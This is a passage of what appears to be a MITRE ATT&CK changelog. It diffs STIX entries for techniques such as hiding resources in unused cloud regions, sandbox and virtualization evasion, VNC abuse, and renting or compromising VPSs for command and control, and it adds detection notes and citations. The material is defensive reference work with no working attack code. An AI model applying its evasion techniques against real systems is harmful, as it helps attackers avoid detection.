geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure. Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected. A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions) |
| external_references[1]['source_name'] | AWS Region Service Table | CloudSploit - Unused AWS Regions |
| external_references[1]['description'] | Amazon. (2019, October 22). Region Table. Retrieved October 22, 2019. | CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019. |
| external_references[1]['url'] | https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/ | https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc |
| x_mitre_data_sources[0] | Stackdriver logs | Instance: Instance Creation |
| x_mitre_data_sources[1] | Azure activity logs | Instance: Instance Metadata |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CloudSploit - Unused AWS Regions', 'description': 'CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.', 'url': 'https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc'} | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various user activity checks to detec | t | 1 | Adversaries may employ various user activity checks to detec |
| > | t and avoid virtualization and analysis environments. This m | > | t and avoid virtualization and analysis environments. This m | ||
| > | ay include changing behaviors based on the results of checks | > | ay include changing behaviors based on the results of checks | ||
| > | for the presence of artifacts indicative of a virtual machi | > | for the presence of artifacts indicative of a virtual machi | ||
| > | ne environment (VME) or sandbox. If the adversary detects a | > | ne environment (VME) or sandbox. If the adversary detects a | ||
| > | VME, they may alter their malware to disengage from the vict | > | VME, they may alter their malware to disengage from the vict | ||
| > | im or conceal the core functions of the implant. They may al | > | im or conceal the core functions of the implant. They may al | ||
| > | so search for VME artifacts before dropping secondary or add | > | so search for VME artifacts before dropping secondary or add | ||
| > | itional payloads. Adversaries may use the information learne | > | itional payloads. Adversaries may use the information learne | ||
| > | d from [Virtualization/Sandbox Evasion](https://attack.mitre | > | d from [Virtualization/Sandbox Evasion](https://attack.mitre | ||
| > | .org/techniques/T1497) during automated discovery to shape f | > | .org/techniques/T1497) during automated discovery to shape f | ||
| > | ollow-on behaviors. Adversaries may search for user activi | > | ollow-on behaviors.(Citation: Deloitte Environment Awareness | ||
| > | ty on the host based on variables such as the speed/frequenc | > | ) Adversaries may search for user activity on the host base | ||
| > | y of mouse movements and clicks (Citation: Sans Virtual Jan | > | d on variables such as the speed/frequency of mouse movement | ||
| > | 2016) , browser history, cache, bookmarks, or number of file | > | s and clicks (Citation: Sans Virtual Jan 2016) , browser his | ||
| > | s in common directories such as home or the desktop. Other m | > | tory, cache, bookmarks, or number of files in common directo | ||
| > | ethods may rely on specific user interaction with the system | > | ries such as home or the desktop. Other methods may rely on | ||
| > | before the malicious code is activated, such as waiting for | > | specific user interaction with the system before the malicio | ||
| > | a document to close before activating a macro (Citation: Un | > | us code is activated, such as waiting for a document to clos | ||
| > | it 42 Sofacy Nov 2018) or waiting for a user to double click | > | e before activating a macro (Citation: Unit 42 Sofacy Nov 20 | ||
| > | on an embedded image to activate.(Citation: FireEye FIN7 Ap | > | 18) or waiting for a user to double click on an embedded ima | ||
| > | ril 2017) | > | ge to activate.(Citation: FireEye FIN7 April 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:32:02.491000+00:00 | 2021-10-18 14:57:48.362000+00:00 |
| description | Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) | Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) |
| external_references[1]['source_name'] | Sans Virtual Jan 2016 | Deloitte Environment Awareness |
| external_references[1]['description'] | Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019. | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. |
| external_references[1]['url'] | https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667 | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc |
| external_references[2]['source_name'] | Unit 42 Sofacy Nov 2018 | Sans Virtual Jan 2016 |
| external_references[2]['description'] | Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019. | Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019. |
| external_references[2]['url'] | https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/ | https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667 |
| external_references[3]['source_name'] | FireEye FIN7 April 2017 | Unit 42 Sofacy Nov 2018 |
| external_references[3]['description'] | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. | Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019. |
| external_references[3]['url'] | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html | https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/ |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process use of network | Process: OS API Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye FIN7 April 2017', 'description': 'Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html'} | |
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-23 11:31:50.407000+00:00 | 2021-10-15 14:02:07.944000+00:00 |
| x_mitre_contributors[0] | Rick Cole, FireEye | Rick Cole, Mandiant |
| x_mitre_data_sources[0] | Process monitoring | Script: Script Execution |
| x_mitre_data_sources[1] | File monitoring | File: File Metadata |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to remotely control machines using Virtu | > | g/techniques/T1078) to remotely control machines using Virtu | ||
| > | al Network Computing (VNC). The adversary may then perform a | > | al Network Computing (VNC). VNC is a platform-independent d | ||
| > | ctions as the logged-on user. VNC is a desktop sharing syst | > | esktop sharing system that uses the RFB (“remote framebuffer | ||
| > | em that allows users to remotely control another computer’s | > | ”) protocol to enable users to remotely control another comp | ||
| > | display by relaying mouse and keyboard inputs over the netwo | > | uter’s display by relaying the screen, mouse, and keyboard i | ||
| > | rk. VNC does not necessarily use standard user credentials. | > | nputs over the network.(Citation: The Remote Framebuffer Pro | ||
| > | Instead, a VNC client and server may be configured with sets | > | tocol) VNC differs from [Remote Desktop Protocol](https://a | ||
| > | of credentials that are used only for VNC connections. | > | ttack.mitre.org/techniques/T1021/001) as VNC is screen-shari | ||
| > | ng software rather than resource-sharing software. By defaul | ||||
| > | t, VNC uses the system's authentication, but it can be confi | ||||
| > | gured to use credentials specific to VNC.(Citation: MacOS VN | ||||
| > | C software for Remote Desktop)(Citation: VNC Authentication) | ||||
| > | Adversaries may abuse VNC to perform malicious actions as | ||||
| > | the logged-on user such as opening documents, downloading fi | ||||
| > | les, and running arbitrary commands. An adversary could use | ||||
| > | VNC to remotely control and monitor a system to collect data | ||||
| > | and information to pivot to other systems within the networ | ||||
| > | k. Specific VNC libraries/implementations have also been sus | ||||
| > | ceptible to brute force attacks and memory usage exploitatio | ||||
| > | n.(Citation: Hijacking VNC)(Citation: macOS root VNC login w | ||||
| > | ithout authentication)(Citation: VNC Vulnerabilities)(Citati | ||||
| > | on: Offensive Security VNC Authentication Check)(Citation: A | ||||
| > | ttacking VNC Servers PentestLab)(Citation: Havana authentica | ||||
| > | tion bug) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 20:41:21.147000+00:00 | 2021-10-07 22:14:25.528000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). The adversary may then perform actions as the logged-on user. VNC is a desktop sharing system that allows users to remotely control another computer’s display by relaying mouse and keyboard inputs over the network. VNC does not necessarily use standard user credentials. Instead, a VNC client and server may be configured with sets of credentials that are used only for VNC connections. | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol) VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication) Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug) |
| x_mitre_data_sources[0] | Process use of network | Process: Process Creation |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Netflow/Enclave netflow | Logon Session: Logon Session Creation |
| x_mitre_detection | Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with VNC. | Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.
On macOS systems log show --predicate 'process = "screensharingd" and eventMessage contains "Authentication:"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'The Remote Framebuffer Protocol', 'description': 'T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.', 'url': 'https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2'} | |
| external_references | {'source_name': 'MacOS VNC software for Remote Desktop', 'description': 'Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.', 'url': 'https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac'} | |
| external_references | {'source_name': 'VNC Authentication', 'description': 'Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.', 'url': 'https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication'} | |
| external_references | {'source_name': 'Hijacking VNC', 'description': 'Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.', 'url': 'https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc'} | |
| external_references | {'source_name': 'macOS root VNC login without authentication', 'description': 'Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.', 'url': 'https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication'} | |
| external_references | {'source_name': 'VNC Vulnerabilities', 'description': 'Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/'} | |
| external_references | {'source_name': 'Offensive Security VNC Authentication Check', 'description': 'Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.', 'url': 'https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/'} | |
| external_references | {'source_name': 'Attacking VNC Servers PentestLab', 'description': 'Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.', 'url': 'https://pentestlab.blog/2012/10/30/attacking-vnc-servers/'} | |
| external_references | {'source_name': 'Havana authentication bug', 'description': 'Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.', 'url': 'http://lists.openstack.org/pipermail/openstack/2013-December/004138.html'} | |
| external_references | {'source_name': 'Apple Unified Log Analysis Remote Login and Screen Sharing', 'description': 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.', 'url': 'https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins'} | |
| external_references | {'source_name': 'Gnome Remote Desktop grd-settings', 'description': 'Pascal Nowack. (n.d.). Retrieved September 21, 2021.', 'url': 'https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207'} | |
| external_references | {'source_name': 'Gnome Remote Desktop gschema', 'description': 'Pascal Nowack. (n.d.). Retrieved September 21, 2021.', 'url': 'https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:40:47.644000+00:00 | 2022-03-15 20:06:04.793000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | File monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Linux |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may rent Virtual P | t | 1 | Adversaries may rent Virtual Private Servers (VPSs) that can |
| > | rivate Servers (VPSs) that can be used during targeting. The | > | be used during targeting. There exist a variety of cloud se | ||
| > | re exist a variety of cloud service providers that will sell | > | rvice providers that will sell virtual machines/containers a | ||
| > | virtual machines/containers as a service. By utilizing a VP | > | s a service. By utilizing a VPS, adversaries can make it dif | ||
| > | S, adversaries can make it difficult to physically tie back | > | ficult to physically tie back operations to them. The use of | ||
| > | operations to them. The use of cloud infrastructure can also | > | cloud infrastructure can also make it easier for adversarie | ||
| > | make it easier for adversaries to rapidly provision, modify | > | s to rapidly provision, modify, and shut down their infrastr | ||
| > | , and shut down their infrastructure. Acquiring a VPS for u | > | ucture. Acquiring a VPS for use in later stages of the adve | ||
| > | se in later stages of the adversary lifecycle, such as Comma | > | rsary lifecycle, such as Command and Control, can allow adve | ||
| > | nd and Control, can allow adversaries to benefit from the ub | > | rsaries to benefit from the ubiquity and trust associated wi | ||
| > | iquity and trust associated with higher reputation cloud ser | > | th higher reputation cloud service providers. Adversaries ma | ||
| > | vice providers. Adversaries may also acquire infrastructure | > | y also acquire infrastructure from VPS service providers tha | ||
| > | from VPS service providers that are known for renting VPSs w | > | t are known for renting VPSs with minimal registration infor | ||
| > | ith minimal registration information, allowing for more anon | > | mation, allowing for more anonymous acquisitions of infrastr | ||
| > | ymous acquisitions of infrastructure.(Citation: TrendmicroHi | > | ucture.(Citation: TrendmicroHideoutsLease) | ||
| > | deoutsLease) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 17:58:32.476000+00:00 | 2021-10-17 15:36:59.315000+00:00 |
| description | Before compromising a victim, adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease) | Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease) |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise thi | t | 1 | Adversaries may compromise third-party Virtual Private Serve |
| > | rd-party Virtual Private Servers (VPSs) that can be used dur | > | rs (VPSs) that can be used during targeting. There exist a v | ||
| > | ing targeting. There exist a variety of cloud service provid | > | ariety of cloud service providers that will sell virtual mac | ||
| > | ers that will sell virtual machines/containers as a service. | > | hines/containers as a service. Adversaries may compromise VP | ||
| > | Adversaries may compromise VPSs purchased by third-party en | > | Ss purchased by third-party entities. By compromising a VPS | ||
| > | tities. By compromising a VPS to use as infrastructure, adve | > | to use as infrastructure, adversaries can make it difficult | ||
| > | rsaries can make it difficult to physically tie back operati | > | to physically tie back operations to themselves.(Citation: N | ||
| > | ons to themselves.(Citation: NSA NCSC Turla OilRig) Comprom | > | SA NCSC Turla OilRig) Compromising a VPS for use in later s | ||
| > | ising a VPS for use in later stages of the adversary lifecyc | > | tages of the adversary lifecycle, such as Command and Contro | ||
| > | le, such as Command and Control, can allow adversaries to be | > | l, can allow adversaries to benefit from the ubiquity and tr | ||
| > | nefit from the ubiquity and trust associated with higher rep | > | ust associated with higher reputation cloud service provider | ||
| > | utation cloud service providers as well as that added by the | > | s as well as that added by the compromised third-party. | ||
| > | compromised third-party. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:01:45.792000+00:00 | 2021-10-17 15:59:02.770000+00:00 |
| description | Before compromising a victim, adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig) Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party. | Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig) Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party. |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various means to detect and avoid vir | t | 1 | Adversaries may employ various means to detect and avoid vir |
| > | tualization and analysis environments. This may include chan | > | tualization and analysis environments. This may include chan | ||
| > | ging behaviors based on the results of checks for the presen | > | ging behaviors based on the results of checks for the presen | ||
| > | ce of artifacts indicative of a virtual machine environment | > | ce of artifacts indicative of a virtual machine environment | ||
| > | (VME) or sandbox. If the adversary detects a VME, they may a | > | (VME) or sandbox. If the adversary detects a VME, they may a | ||
| > | lter their malware to disengage from the victim or conceal t | > | lter their malware to disengage from the victim or conceal t | ||
| > | he core functions of the implant. They may also search for V | > | he core functions of the implant. They may also search for V | ||
| > | ME artifacts before dropping secondary or additional payload | > | ME artifacts before dropping secondary or additional payload | ||
| > | s. Adversaries may use the information learned from [Virtual | > | s. Adversaries may use the information learned from [Virtual | ||
| > | ization/Sandbox Evasion](https://attack.mitre.org/techniques | > | ization/Sandbox Evasion](https://attack.mitre.org/techniques | ||
| > | /T1497) during automated discovery to shape follow-on behavi | > | /T1497) during automated discovery to shape follow-on behavi | ||
| > | ors. Adversaries may use several methods to accomplish [Vi | > | ors.(Citation: Deloitte Environment Awareness) Adversaries | ||
| > | rtualization/Sandbox Evasion](https://attack.mitre.org/techn | > | may use several methods to accomplish [Virtualization/Sandbo | ||
| > | iques/T1497) such as checking for security monitoring tools | > | x Evasion](https://attack.mitre.org/techniques/T1497) such a | ||
| > | (e.g., Sysinternals, Wireshark, etc.) or other system artifa | > | s checking for security monitoring tools (e.g., Sysinternals | ||
| > | cts associated with analysis or virtualization. Adversaries | > | , Wireshark, etc.) or other system artifacts associated with | ||
| > | may also check for legitimate user activity to help determin | > | analysis or virtualization. Adversaries may also check for | ||
| > | e if it is in an analysis environment. Additional methods in | > | legitimate user activity to help determine if it is in an an | ||
| > | clude use of sleep timers or loops within malware code to av | > | alysis environment. Additional methods include use of sleep | ||
| > | oid operating within a temporary sandbox.(Citation: Unit 42 | > | timers or loops within malware code to avoid operating withi | ||
| > | Pirpi July 2015) | > | n a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:32:02.272000+00:00 | 2021-10-18 14:57:48.989000+00:00 |
